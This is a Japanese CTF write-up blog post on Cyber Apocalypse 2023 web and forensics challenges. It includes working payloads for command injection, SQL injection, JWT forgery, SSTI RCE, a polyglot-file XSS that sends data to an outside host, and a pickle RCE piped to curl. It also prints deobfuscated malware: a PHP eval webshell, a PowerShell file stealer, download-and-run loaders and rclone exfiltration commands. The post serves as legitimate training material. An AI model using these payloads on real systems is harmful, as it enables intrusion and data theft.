はまやんはまやんはまやん

hamayanhamayan's blog

Cyber Apocalypse 2023 - The Cursed Mission Writeups [Web, Forensics]

[web] Trapped Source

PINコードを入力する画面が与えられる。
Burp Suiteを開いて、ページを操作してみると、GET /static/js/script.jsというリクエストがある。
ここでCONFIG.correctPin == pinという記載があり、どこかにcorrectPinというのが置いてありそう。
GET /の履歴を見るとcorrectPin: "8291",と記載があり、これを使えばフラグが得られる。

[web] Gunhead

/flag.txtを取得するのが目的。
ReconModel.phpを見るとコマンドインジェクションできる攻撃点が見つかる。

    public function getOutput()
    {
        # Do I need to sanitize user input before passing it to shell_exec?
        return shell_exec('ping -c 3 '.$this->ip);
    }

ここへはReconController.phpからの入力が入る。

さて、実際にサイトを起動してみるとサイバーな画面が出てくる。
右のコンソールボタンからコンソールを起動しよう。/helpとするとpingコマンドが見つかる。
/ping localhostのように使う。

コマンドインジェクションするので、/ping ||cat /flag.txtとするとフラグが得られる。

[web] Drobots

/homeにアクセスすればフラグが得られるが、ログイン済みである必要がある。
どこを攻撃するかであるが、database.pyを見るとSQL Injectionの脆弱性が見つかる。
user = query_db(f'SELECT password FROM users WHERE username = "{username}" AND password = "{password}" ', one=True)

ユーザー名についてはentrypoint.shを見ると
INSERT INTO drobots.users (username, password) VALUES ('admin', '$(genPass)');
とあるのでusername=adminでログインができればよさそう。

username: admin
password: " or ""="

以上を入れると、
SELECT password FROM users WHERE username = "admin" AND password = "" or ""=""
のようになり、""=""が常にtrueなので条件が必ず満たされ、ログインできる。

[web] Passman

ソースコードが与えられているので、とりあえずフラグの置き場を探す。
entrypoint.shに以下のようにある。

INSERT INTO passman.saved_passwords (owner, type, address, username, password, note)
VALUES
    ('admin', 'Web', 'igms.htb', 'admin', 'HTB{f4k3_fl4g_f0r_t3st1ng}', 'password'),

これが取れればいい。
よーく見てみると、GraphqlHelper.jsから追えるUpdatePasswordを見ると、
で任意のユーザーのパスワード変更ができるようになっている。
これでadminのパスワードを変更してログインができそう。

ログイン後に以下のようなリクエストを投げる。

POST /graphql HTTP/1.1
Host: 178.62.64.13:30554
Content-Length: 194
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://178.62.64.13:30554
Referer: http://178.62.64.13:30554/dashboard
Accept-Encoding: gzip, deflate
Accept-Language: ja,en-US;q=0.9,en;q=0.8
Cookie: session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImV2aWxtYW4iLCJpc19hZG1pbiI6MCwiaWF0IjoxNjc5MjI1NTczfQ.KDljmUhM5YmkLKW6TLeSP7wiSd6LxRcjp6SIXy8oaqs
Connection: close

{"query":"mutation($username: String!, $password: String!) { UpdatePassword(username: $username, password: $password) { message, token } }","variables":{"username":"admin","password":"newpassword"}}

Password updated successfully! ok!
新しく設定した認証情報でログインすればフラグが書いてある。

[web] Orbital

ソースコードが与えられる。
/signal_sleuth_firmwareが読めればフラグが得られる。

database.pyにSQL Injectionポイントがある。
user = query(f'SELECT username, password FROM users WHERE username = "{username}"', one=True)

ログインができればPOST /api/exportにあるパストラバーサルでフラグが取れそう。
なので、目下の目的はログインすることになる。

ログインロジックは以下の通り。

def passwordVerify(hashPassword, password):
    md5Hash = hashlib.md5(password.encode())

    if md5Hash.hexdigest() == hashPassword: return True
    else: return False

def login(username, password):
    # I don't think it's not possible to bypass login because I'm verifying the password later.
    user = query(f'SELECT username, password FROM users WHERE username = "{username}"', one=True)

    if user:
        passwordCheck = passwordVerify(user['password'], password)

        if passwordCheck:
            token = createJWT(user['username'])
            return token
    else:
        return False

存在しているユーザーは
INSERT INTO orbital.users (username, password) VALUES ('admin', '$(genPass)');
という感じ。adminは使える。
SELECTの応答をadmin:不明ではなくadmin:任意の応答のようにできれば、
任意のパスワードのmd5ハッシュを入れ込んで検証へ使用させることができる。

passmd5ハッシュは1a1dc91c907325c69271ddf0c944bc72であるので、これでやってみる。

最初はこの形。
SELECT username, password FROM users WHERE username = "
まずは何も出力しないようにする。
SELECT username, password FROM users WHERE username = ""
これで何も出てこない。ここにunionで偽造の応答を作っていく。
SELECT username, password FROM users WHERE username = "" union select "admin", "1a1dc91c907325c69271ddf0c944bc72"
これでOK。こうするための入力は" union select "admin", "1a1dc91c907325c69271ddf0c944bc72なので、これをusernameとして入れて、passwordをpassにすればログイン可能。

あとはPOST /api/export{"name":"../signal_sleuth_firmware"}とすれば
return send_file(f'/communications/../signal_sleuth_firmware', as_attachment=True)のような感じになってルート直下のファイルが読み出せる。

フラグを見るとTime-based Blind SQLiが想定解っぽい。

[web] Didactic Octo Paddles

ソースコードを見ていくと、AdminMiddleware.jsの実装がかなりあやしい。

const AdminMiddleware = async (req, res, next) => {
    try {
        const sessionCookie = req.cookies.session;
        if (!sessionCookie) {
            return res.redirect("/login");
        }
        const decoded = jwt.decode(sessionCookie, { complete: true });

        if (decoded.header.alg == 'none') {
            return res.redirect("/login");
        } else if (decoded.header.alg == "HS256") {
            const user = jwt.verify(sessionCookie, tokenKey, {
                algorithms: [decoded.header.alg],
            });
            if (
                !(await db.Users.findOne({
                    where: { id: user.id, username: "admin" },
                }))
            ) {
                return res.status(403).send("You are not an admin");
            }
        } else {
            const user = jwt.verify(sessionCookie, null, {
                algorithms: [decoded.header.alg],
            });
            if (
                !(await db.Users.findOne({
                    where: { id: user.id, username: "admin" },
                }))
            ) {
                return res
                    .status(403)
                    .send({ message: "You are not an admin" });
            }
        }
    } catch (err) {
        return res.redirect("/login");
    }
    next();
};

algがnone,HS256以外の時は鍵がnullになる。

ok.
とりあえずユーザーを作ってjwtを発行してもらおう。

POST /register HTTP/1.1
Host: 165.227.224.40:31433
Content-Length: 43
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://165.227.224.40:31433
Referer: http://165.227.224.40:31433/login
Accept-Encoding: gzip, deflate
Accept-Language: ja,en-US;q=0.9,en;q=0.8
Connection: close

{"username":"test","password":"test"}

ログイン後に/adminを見てみるが、拒否される。

import jwt
payload = {
  "id": 1,
  "iat": 1679230796,
  "exp": 1679234396
}
res = jwt.encode(payload, '', algorithm='none')
print(res)

普通にnoneで作るとこんな感じだが、プログラム的にはNoneにすれば回避できそう。

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpZCI6MSwiaWF0IjoxNjc5MjMwNzk2LCJleHAiOjE2NzkyMzQzOTZ9.

このような感じで作られてくる。base64でデコードされているのでnoneをNoneに変更してみる。
CyberChefでやったのはこんな感じ。

https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)Find/Replace(%7B'option':'Simple%20string','string':'none'%7D,'None',true,false,true,false)To_Base64('A-Za-z0-9%2B/%3D')Find/Replace(%7B'option':'Simple%20string','string':'%3D'%7D,'',true,false,true,false)&input=ZXlKaGJHY2lPaUp1YjI1bElpd2lkSGx3SWpvaVNsZFVJbjA

最終的には以下を使えばadminログイン可能。

eyJhbGciOiJOb25lIiwidHlwIjoiSldUIn0.eyJpZCI6MSwiaWF0IjoxNjc5MjMwNzk2LCJleHAiOjE2NzkyMzQzOTZ9.

/adminを使って攻撃を考えてみる。

router.get("/admin", AdminMiddleware, async (req, res) => {
    try {
        const users = await db.Users.findAll();
        const usernames = users.map((user) => user.username);

        res.render("admin", {
            users: jsrender.templates(`${usernames}`).render(),
        });
    } catch (error) {
        console.error(error);
        res.status(500).send("Something went wrong!");
    }
});

jsrenderに任意の入力ができて、テンプレートエンジンなのでSSTIだろう。
軽く検索するとRCEできるペイロードがある。

https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/ssti-server-side-template-injection/README.md#jsrender-nodejs

これをつかう感じで以下のようにユーザーを作る。

POST /register HTTP/1.1
Host: 165.227.224.40:31433
Content-Length: 187
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://165.227.224.40:31433
Referer: http://165.227.224.40:31433/login
Accept-Encoding: gzip, deflate
Accept-Language: ja,en-US;q=0.9,en;q=0.8
Connection: close

{"username":"{{:\"pwnd\".toString.constructor.call({},\"return global.process.mainModule.constructor._load('child_process').execSync('cat /flag.txt').toString()\")()}}","password":"test"}

これでGET /adminするとフラグが手に入る。

[web] SpyBug

管理者の権限でGET /panelを開くとフラグが書いてある。
60秒に1度、管理者が/panelを開くので、何とかXSSを狙う。
このページでは登録したagent情報が表示される。
ログインはできないが、agent登録自体にはログイン済みが要求されないので、適当にagentを登録することで、
その情報を/panelに映すことができる。

HTMLタグを埋め込む手順としては、以下のような感じ。
手元で動かすと埋め込まれていることがわかりやすい。

  1. /agents/registerを開いて新しくagentを登録する。{"identifier":"a16b34a5-b5cf-4d1c-930c-03030a3ca7a4","token":"31722f38-446b-4b15-adf3-ebbac2a8dd24"}のようにIDとtokenがもらえる
  2. /agents/details/a16b34a5-b5cf-4d1c-930c-03030a3ca7a4/31722f38-446b-4b15-adf3-ebbac2a8dd24を使ってhostname, platform, archが変更できる。ここでhtmlタグがうめこめる
  3. /panelを開くとHTMLタグが埋め込まれていることがわかる。

これでjsコードが動くか…と思ったがCSPに阻まれる。

Content-Security-Policy: script-src 'self'; frame-ancestors 'none'; object-src 'none'; base-uri 'none';

これを解決するために、agentsのファイルアップロード機能を悪用する。
script-src 'self';が付いているのでファイルアップロードしたものをscript srcで読み込んで動かせることができればCSPを回避できそう。
↑の例で言うと、/agents/upload/da8faa7d-7a2c-49fc-967f-ab997f88d963/65423090-2656-458f-9b7c-f47e7f8577faに対してファイルを送る感じ。
だが、アップロード時にwavファイルである検証がある。
どうやってjsコードを差し込もうかな…と思い、ここで、ソースコードに含まれるrec.wavファイルをバイナリエディタで見てみると、すでに構築されていた。

$ hd rec.wav | head -n 20
00000000  52 49 46 46 2f 2a 16 00  57 41 56 45 66 6d 74 20  |RIFF/*..WAVEfmt |
00000010  10 00 00 00 01 00 02 00  80 bb 00 00 00 ee 02 00  |................|
00000020  04 00 10 00 4c 49 53 54  9a 00 00 00 49 4e 46 4f  |....LIST....INFO|
00000030  49 41 52 54 06 00 00 00  44 75 72 61 6e 00 49 43  |IART....Duran.IC|
00000040  4d 54 2c 00 00 00 68 74  74 70 73 3a 2f 2f 77 77  |MT,...https://ww|
00000050  77 2e 79 6f 75 74 75 62  65 2e 63 6f 6d 2f 77 61  |w.youtube.com/wa|
00000060  74 63 68 3f 76 3d 78 76  46 5a 6a 6f 35 50 67 47  |tch?v=xvFZjo5PgG|
00000070  30 00 49 43 52 44 09 00  00 00 32 30 32 30 30 37  |0.ICRD....202007|
00000080  32 38 00 00 49 4e 41 4d  24 00 00 00 52 69 63 6b  |28..INAM$...Rick|
00000090  20 52 6f 6c 6c 20 28 44  69 66 66 65 72 65 6e 74  | Roll (Different|
000000a0  20 6c 69 6e 6b 20 2b 20  6e 6f 20 61 64 73 29 00  | link + no ads).|
000000b0  49 53 46 54 0e 00 00 00  4c 61 76 66 35 38 2e 37  |ISFT....Lavf58.7|
000000c0  36 2e 31 30 30 00 64 61  74 61 2a 2f 3d 22 22 3b  |6.100.data*/="";|
000000d0  61 6c 65 72 74 28 30 29  3b 2f 2a 00 00 00 00 00  |alert(0);/*.....|
000000e0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|

これを試しに読み込んで動かしてみるとエラーになる。
よくよく見ると、*/が含まれており、ゴミが入ってしまっている。
ファイルの検証はどうせ先頭しか使わないだろうと思い、ファイルの上記に書いてあるくらいの先頭バイトを取り出して、末尾に*/を追加して使ってみると動いた。
これをアップロードしてみると検証を回避できた。ok.
これでパーツはそろったので、以下のような手順で攻撃する。

  1. /agents/registerを開いて新しくagentを登録する。{"identifier":"a16b34a5-b5cf-4d1c-930c-03030a3ca7a4","token":"31722f38-446b-4b15-adf3-ebbac2a8dd24"}のようにIDとtokenがもらえる
  2. rec.wavの先頭部分を取り出し、alert(0)の部分をfetch('/panel').then(e=>e.text()).then(e=>{window.location.href='https://[yours].requestcatcher.com/test?get='+e;})に変更して保存しておく
  3. rec.wavを/agents/upload/da8faa7d-7a2c-49fc-967f-ab997f88d963/65423090-2656-458f-9b7c-f47e7f8577faを使ってアップロードしてGUIDを受け取る
  4. /agents/details/a16b34a5-b5cf-4d1c-930c-03030a3ca7a4/31722f38-446b-4b15-adf3-ebbac2a8dd24を使ってhostname, platform, archがする。このとき、archに<script src="/uploads/{guid}"></script>を入れる
  5. しばらく待つと管理者が/panelを開き、scriptタグ経由でrec.wavに含まれるjsコードが発動し、requestcatcherに/panelの内容が送られる

rec.wavを作る所以外は自動化した。コードは以下。

import requests
import json

BASE = 'http://localhost:1337/'

res = json.loads(requests.get(BASE + 'agents/register').text)
identifier = res['identifier']
token = res['token']

assert requests.get(f'{BASE}agents/check/{identifier}/{token}').text == 'OK'

name = 'rec.wav'
guid = requests.post(f'{BASE}agents/upload/{identifier}/{token}', 
    files = {'recording': ('rec.wav', open(name, 'rb'),'audio/wave',{})}).text

print(f'{BASE}uploads/{guid}')

xss = f'<script src="/uploads/{guid}"></script>'
requests.post(f'{BASE}agents/details/{identifier}/{token}', data={'hostname':'a', 'platform':'b', 'arch': xss})

[web] TrapTrack

フロントエンドのサイトと、curlでリクエストを送ることができるサイトが用意されている。
フロントエンドではcurlで開くURLを登録でき、pickleでシリアライズされたジョブをredisをキューとして使って受け渡している。
というのがサイトの概要。
/readflagを実行して中身を取得する必要があり、RCEが要求される。

全体概要について、最初にまとめて説明してしまう。
pickleと言えばUnsafe Deserializationであり、これならRCEまで持っていける。
redisが使われていて、curlでリクエストを飛ばせるということはSSRFでredisに任意の内容を入れ込むことができる。
redisに任意の内容が入れ込むことができるということは、pickleでシリアライズされたジョブを自由に設定できるということで、
つまり、Unsafe Deserializationが引き起こせるということになる。

SSRFからのredisに任意データ差し込み

curlで任意のURLを開くことができるので、SSRF脆弱性が存在している。
実はこの場合、redisに任意のデータが入れ込める可能性がある。

ソースコードは与えられているので、localで環境を立ち上げて、ターミナルに入ってみる。
起動直後のredisの中身を見てみよう。

# redis-cli -h localhost
localhost:6379> keys *
1) "100"
2) "jobs"
localhost:6379> hkeys jobs
1) "100"
localhost:6379> hget jobs 100
"gASVeAAAAAAAAAB9lCiMBmpvYl9pZJRLZIwJdHJhcF9uYW1llIwJV2lraXBlZGlhlIwIdHJhcF91cmyUjBpodHRwczovL3d3dy53aWtpcGVkaWEub3JnL5SMCWNvbXBsZXRlZJRLAYwKaW5wcm9ncmVzc5RLAIwGaGVhbHRolEsBdS4="

なるほど。
サイトを立ち上げてadmin:adminでログインして、以下のURLを踏ませてみる。

dict://127.0.0.1:6379/hset jobs 200 "test"

しばらく待って再度jobsの中身を見てみよう。

localhost:6379> hkeys jobs
1) "200"
2) "101"
3) "100"
localhost:6379> hget jobs 200
"test"

先ほどの文字列が追加されている!
このようにdictプロトコルなどを使えば、直接TCPリクエストを飛ばすことができ、redisに対して任意の操作が行える。

Unsafe DeserializationからのRCE

この場合のUnsafe Deserializationをかなりざっくりいうと、外部からpickleでシリアライズされたデータを
pickle.loadsに渡すことができれば、その時点でRCE達成できる。
この場所を探すとcache.pyに以下のようなコードがある。

def get_job_queue(job_id):
    data = current_app.redis.hget(env('REDIS_JOBS'), job_id)
    if data:
        return pickle.loads(base64.b64decode(data))

    return None

いい感じ。これを呼んでいるのがroutes.pyの以下。

@api.route('/tracks/<int:job_id>/status', methods=['GET'])
@login_required
def job_status(job_id):
    data = get_job_queue(job_id)

    if not data:
        return response('Job does not exist!', 401)

    return Response(json.dumps(data), mimetype='application/json')

job_idを指定するだけでredisから持ってきてpickle.loadsに食わせてくれる。
これを悪用すればよさそう。

payload作成と攻略へ

Unsafe Deserializationでデシリアライズさせるpayloadを用意しよう。
以下のように用意可能。

import pickle, base64
from os import system

data = "/readflag | curl https://[yours].requestcatcher.com/test -X POST -d @-"
class Evil():
    def __reduce__(self):
        return(system,(data,))
print(base64.b64encode(pickle.dumps(Evil())))

RCEコードではreadflagを実行して、その結果をcurlを使って指定エンドポイントにPOSTで送っている。
これでgASVeAAAAAAAAAB9lCiMBmpvYl9p...みたいなものが出力されるので、これをredisに差し込む。
job_idは999を使ってみる。

dict://127.0.0.1:6379/hset jobs 999 "gASVeAAAAAAAAAB9lCiMBmpvYl9p..."

これでredisに悪意あるpickleシリアライズドデータが入ったので、最後にGET /api/tracks/999/statusをすればコマンド実行される。

[Forensics] Plaintext Tleasure

pcapファイルが与えられて、管理者のユーザ名とパスワードを見つけよという問題。
プロトコル階層統計を眺めると、HTTP通信が中心っぽいので、TCPストリームを順番に眺めていくことにした。
するとストリーム4にて、ユーザー名パスワードが送られている部分があり、フラグが書いてある。

[Forensics] Alien Cradle

powershellスクリプトファイルが与えられる。
適当に;で改行して整形すると、以下のようにフラグっぽい行があるので、つなげると答え。

$f = 'H' + 'T' + 'B' + '{p0w3rs' + 'h3ll' + '_Cr■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■_d' + '0n3}';

[Forensics] Extraterrestrial Persistence

シェルスクリプトが与えられる。
目を引くのは以下の行。

echo -e "W1VuaXRdCkRlc2NyaXB0aW9uPUhUQnt0aDNzM180bDEzblNfNHIzX3MwMDAwMF9iNHMxY30KQWZ0ZXI9bmV0d29yay50YXJnZXQgbmV0d29yay1vbmxpbmUudGFyZ2V0CgpbU2VydmljZV0KVHlwZT1vbmVzaG90ClJlbWFpbkFmdGVyRXhpdD15ZXMKCkV4ZWNTdGFydD0vdXNyL2xvY2FsL2Jpbi9zZXJ2aWNlCkV4ZWNT■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■"|base64 --decode > /usr/lib/systemd/system/service.service

base64エンコードされた文字列がデコードされてどこかに保存されている。
場所からして問題の題名にもあるように永続化のためだろう。
W1Vua...の部分を取り出してきてCyberChefあたりで
From Base64base64デコードするとフラグが出てくる。

[Forensics] Roten

pcapファイルが与えられる。
HTTP通信以外は特にめぼしい通信はないので、TCPストリームを巡回してみるか…と思ったが結構量が多い。
「オブジェクトをエクスポート」から「HTTP」でとりあえず全部持ってくることにした。

map-update(9).phpに怪しい出力があった。
TCPストリーム#173を見ると該当ファイルが通信されている。

-----------------------------310973569542634246533468492466
Content-Disposition: form-data; name="uploaded_file"; filename="galacticmap.php"
Content-Type: application/x-php

<?php 
$pPziZoJiMpcu = 82; 
$liGBOKxsOGMz = array(); 
$iyzQ5h8qf6 = "" ; 
$iyzQ5h8qf6 .= "<nnyo ea\$px-aloerl0=e r\$0' weme Su rgsr s\"eu>\"e'Er= elmi)y ]_'t>bde e e  =p   xt\" ?ltps vdfic-xetrmsx'l0em0  o\"oc&'t [r\"e _e;eV.ncxm'vToil   ,F y"; 
・・・
$iyzQ5h8qf6 .= " \ni.  \"sio  woTp re(ma!jionee e &\"( r \$t\$xe'c e\$1  i ll2'd='oe'lpbf)d '\$.sr<cr\nl h  r . .in   "; 
for($i = 0; $i < $pPziZoJiMpcu; $i++) $liGBOKxsOGMz[] = ""; 
for($i = 0; $i < (strlen($iyzQ5h8qf6) / $pPziZoJiMpcu); $i++) { for($r = 0; $r < $pPziZoJiMpcu; $r++) $liGBOKxsOGMz[$r] .= $iyzQ5h8qf6[$r + $i * $pPziZoJiMpcu]; } 
$bhrTeZXazQ = trim(implode("", $liGBOKxsOGMz)); 
$bhrTeZXazQ = "?>$bhrTeZXazQ"; 
eval( $bhrTeZXazQ ); 
?>
-----------------------------310973569542634246533468492466--

プログラムを読むと難読化解除してevalに投げている感じなので、evalをechoに変えて実行することで難読化を解除する。
すると、その中にフラグが書いてあった。

$ php a.php | grep HTB
##flag = HTB{■■■■■■■■■}

[Forensics] Packet Cyclone

Windowsのイベントログとsigmaルールが与えられる。
問題文にchainsawを使って解析せよと書いてあるので従うことにする。

  1. Release v2.5.0 · WithSecureLabs/chainsawから最新持ってきて解凍
  2. ./chainsaw hunt --mapping mappings/sigma-event-logs-all.yml -s ../sigma_rules/ ../Logsな感じで実行

すると以下2件のコマンド実行が検知される。

"C:\Users\wade\AppData\Local\Temp\rclone-v1.61.1-windows-amd64\rclone.exe" config create remote mega user majmeret@protonmail.com pass FBMeavdiaFZbWzpMqIVhJCGXZ5XXZI1qsU3EjhoKQw0rEoQqHyI
"C:\Users\wade\AppData\Local\Temp\rclone-v1.61.1-windows-amd64\rclone.exe" copy C:\Users\Wade\Desktop\Relic_location\ remote:exfiltration -v

rclone使ったことなかったがこういう感じなのね。分かりやすい。
問題に答えていこう。

$ nc 143.110.160.221 30158
What is the email of the attacker used for the exfiltration process? (for example: name@email.com)
> majmeret@protonmail.com
[+] Correct!

What is the password of the attacker used for the exfiltration process? (for example: password123)
> FBMeavdiaFZbWzpMqIVhJCGXZ5XXZI1qsU3EjhoKQw0rEoQqHyI
[+] Correct!

What is the Cloud storage provider used by the attacker? (for example: cloud)
> mega
[+] Correct!

What is the ID of the process used by the attackers to configure their tool? (for example: 1337)
> 3820
[+] Correct!

> C:\Users\Wade\Desktop\Relic_location 
[+] Correct!

What is the name of the folder the attacker exfiltrated the files to? (for example: exfil_folder)
> exfiltration
[+] Correct!

[+] Here is the flag: 

[Forensics] Artifacts of Dangerous Sightings

vhdxファイルが与えられる。
開けるかな…と思ってFTK Imagerを開いてみると開ける。
適当に巡回していくと、C:\Windows\Tasks\ActiveSyncProvider.dllのAlternate Data Streamにhidden.ps1というファイルが置いてあった。
がっつり難読化されていたので解析していく。

powerShell.exe -WindowStyle hiddeN -ExecuTionPolicy ByPasS -enc JAB7AFsAfgBAAH0AIAA9ACAAJAAoACkAOwAgACQAewAhACEAQAAhACEAXQB9ACAAPQAgACsAKwAkAHsAWwB+AEAAfQA7ACAAJAB7AFsAWwAhAH0AIAA9ACAALQAtACQAewBbAH4AQAB9ACAAKwAgACQAewAhACEAQAAhACEAXQB9ACAAKwAgACQAewAhACEAQAAhACEAXQB9ADsAIAAkAHsAfgB...

いつものbase64エンコーディングされている感じなので
https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)Decode_text('UTF-16LE%20(1200)')&input=cGF5bG9hZA
のような感じでbase64デコードして、UTF-16として読み込む。
ちょっと整理したが、以下のようなものが出てくる。

${[~@} = $();
${!!@!!]} = ++${[~@};
${[[!} = --${[~@} + ${!!@!!]} + ${!!@!!]};
${~~~]} = ${[[!} + ${!!@!!]};
${[!![!} = ${[[!} + ${[[!};
${(~(!} = ${~~~]} + ${[[!};
${!~!))} = ${[!![!} + ${[[!};
${((!} = ${!!@!!]} + ${[!![!} + ${[[!};
${=!!@!!}  = ${~~~]} - ${!!@!!]} + ${!~!))};
${!=} =  ${((!} - ${~~~]} + ${!~!))} - ${!!@!!]};
${=@!~!} = "".("$(@{})"[14]+"$(@{})"[16]+"$(@{})"[21]+"$(@{})"[27]+"$?"[1]+"$(@{})"[3]);
${=@!~!} = "$(@{})"[14]+"$?"[3]+"${=@!~!}"[27];
${@!=} = "["+"$(@{})"[7]+"$(@{})"[22]+"$(@{})"[20]+"$?"[1]+"]";
"${@!=}${~~~]}${(~(!....} | ${=@!~!}"
 |& ${=@!~!}

結構厳しい感じ。動的解析しながら解析していくことにする。順番に実行していきながら見てみると最後の${=@!~!}がiexになることがわかる。
なので、最後の|& ${=@!~!}だけを消して、最終的に使われる文字列を抜き出す。
隔離環境でやること。

[Char]35 + [Char]35 + [Char]35 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + …  + [Char]34 + [Char]10 | iex

同様にiexを消して動かすとさらに難読化解除でき、やっと最終的な形になる。

### .     .       .  .   . .   .   . .    +  .
###   .     .  :     .    .. :. .___---------___.
###        .  .   .    .  :.:. _".^ .^ ^.  '.. :"-_. .
###     .  :       .  .  .:../:            . .^  :.:\.
###         .   . :: +. :.:/: .   .    .        . . .:\
###  .  :    .     . _ :::/:                         .:\
###   .. . .   . - : :.:./.                           .:\
###  .   .     : . : .:.|. ######               #######::|
###   :.. .  :-  : .:  ::|.#######             ########:|
###  .  .  .  ..  .  .. :\ ########           ######## :/
###   .        .+ :: : -.:\ ########         ########.:/
###     .  .+   . . . . :.:\. #######       #######..:/
###       :: . . . . ::.:..:.\                   ..:/
###    .   .   .  .. :  -::::.\.       | |       .:/
###       .  :  .  .  .-:.":.::.\               .:/
###  .      -.   . . . .: .:::.:.\            .:/
### .   .   .  :      : ....::_:..:\   ___   :/
###    .   .  .   .:. .. .  .: :.:.:\       :/
###      +   .   .   : . ::. :.:. .:.|\  .:/|
### SCRIPT TO DELAY HUMAN RESEARCH ON RELIC RECLAMATION
### STAY QUIET - HACK THE HUMANS - STEAL THEIR SECRETS - FIND THE RELIC
### GO ALLIENS ALLIANCE !!!
function makePass
{
    $alph=@();
    65..90|foreach-object{$alph+=[char]$_};
    $num=@();
    48..57|foreach-object{$num+=[char]$_};

    $res = $num + $alph | Sort-Object {Get-Random};
    $res = $res -join '';
    return $res;
}

function makeFileList
{
    $files = cmd /c where /r $env:USERPROFILE *.pdf *.doc *.docx *.xls *.xlsx *.pptx *.ppt *.txt *.csv *.htm *.html *.php;
    $List = $files -split '\r';
    return $List;
}

function compress($Pass)
{
    $tmp = $env:TEMP;
    $s = 'https://relic-reclamation-anonymous.alien:1337/prog/';
    $link_7zdll = $s + '7z.dll';
    $link_7zexe = $s + '7z.exe';

    $7zdll = '"'+$tmp+'\7z.dll"';
    $7zexe = '"'+$tmp+'\7z.exe"';
    cmd /c curl -s -x socks5h://localhost:9050 $link_7zdll -o $7zdll;
    cmd /c curl -s -x socks5h://localhost:9050 $link_7zexe -o $7zexe;

    $argExtensions = '*.pdf *.doc *.docx *.xls *.xlsx *.pptx *.ppt *.txt *.csv *.htm *.html *.php';

    $argOut = 'Desktop\AllYourRelikResearchHahaha_{0}.zip' -f (Get-Random -Minimum 100000 -Maximum 200000).ToString();
    $argPass = '-p' + $Pass;

    Start-Process -WindowStyle Hidden -Wait -FilePath $tmp'\7z.exe' -ArgumentList 'a', $argOut, '-r', $argExtensions, $argPass -ErrorAction Stop;
}

$Pass = makePass;
$fileList = @(makeFileList);
$fileResult = makeFileListTable $fileList;
compress $Pass;
$TopSecretCodeToDisableScript = "HTB{■■■■■■■■■■■■■■■■■■■}"

フラグが書いてある。

[Forensics] Relic Maps

oneファイルが与えられる。
DissectMalware/pyOneNote: A python library to parse OneNote (.one) files
これを使ってファイルをダンプしてみる。
htaファイルが含まれている。
以下の部分が気になる。

ExecuteCmdAsync "cmd /c powershell Invoke-WebRequest -Uri http://relicmaps.htb/uploads/soft/topsecret-maps.one -OutFile $env:tmp\tsmap.one;
 Start-Process -Filepath $env:tmp\tsmap.one"
ExecuteCmdAsync "cmd /c powershell Invoke-WebRequest -Uri http://relicmaps.htb/get/DdAbds/window.bat -OutFile $env:tmp\system32.bat;
 Start-Process -Filepath $env:tmp\system32.bat"

window.batをとりあえず難読化解除する。
普通に置換していけばよさそうだが、面倒なので動的解析。

@echo off
set "eFlP=set "
%eFlP%"ualBOGvshk=ws"
…
%eUFw%"TOqZKQRZli=uZOc"
%CJnGNBkyYp%%UBndSzFkbH%%ujJtl…
cls
%dzPrbmmccE%%xQseEVnPet%
%eDhTebXJLa%%vShQyqnqqU%%KsuJog…
exit /b

ざっくりこんな感じになっていて、前半は変数代入。
使われている所は直前にechoをつけて内容をひっぱってくる。
1番目はコレ。

copy C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe /y "a.bat.exe"

ok.

cd "C:\Users\WDAGUtilityAccount\Documents\"

これもok.最後がメイン。見やすいように適当に改行を入れている。

"a.bat.exe" -noprofile -windowstyle hidden -ep bypass -command 
$eIfqq = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\WDAGUtilityAccount\Documents\a.bat').Split([Environment]::NewLine);
foreach ($YiLGW in $eIfqq) { 
    if ($YiLGW.StartsWith(':: ')) {  
        $VuGcO = $YiLGW.Substring(3);
        break;
    };
};
$uZOcm = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($VuGcO);
$BacUA = New-Object System.Security.Cryptography.AesManaged;
$BacUA.Mode = [System.Security.Cryptography.CipherMode]::CBC;
$BacUA.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;
$BacUA.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('0xdfc6tTBkD+M0zxU7egGVErAsa/NtkVIHXeHDUiW20=');
$BacUA.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2hn/J717js1MwdbbqMn7Lw==');
$Nlgap = $BacUA.CreateDecryptor();
$uZOcm = $Nlgap.TransformFinalBlock($uZOcm, 0, $uZOcm.Length);
$Nlgap.Dispose();
$BacUA.Dispose();
$mNKMr = New-Object System.IO.MemoryStream(, $uZOcm);
$bTMLk = New-Object System.IO.MemoryStream;
$NVPbn = New-Object System.IO.Compression.GZipStream($mNKMr, [IO.Compression.CompressionMode]::Decompress);
$NVPbn.CopyTo($bTMLk);
$NVPbn.Dispose();
$mNKMr.Dispose();
$bTMLk.Dispose();
$uZOcm = $bTMLk.ToArray();
$gDBNO = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($uZOcm);
$PtfdQ = $gDBNO.EntryPoint;
$PtfdQ.Invoke($null, (, [string[]] ('')))

という感じ。
window.batに::から始まる怪しいコメントがあったが、これを使って復元していくみたい。

  • 暗号文: ::以降のbase64文字列をbase64デコードしたもの
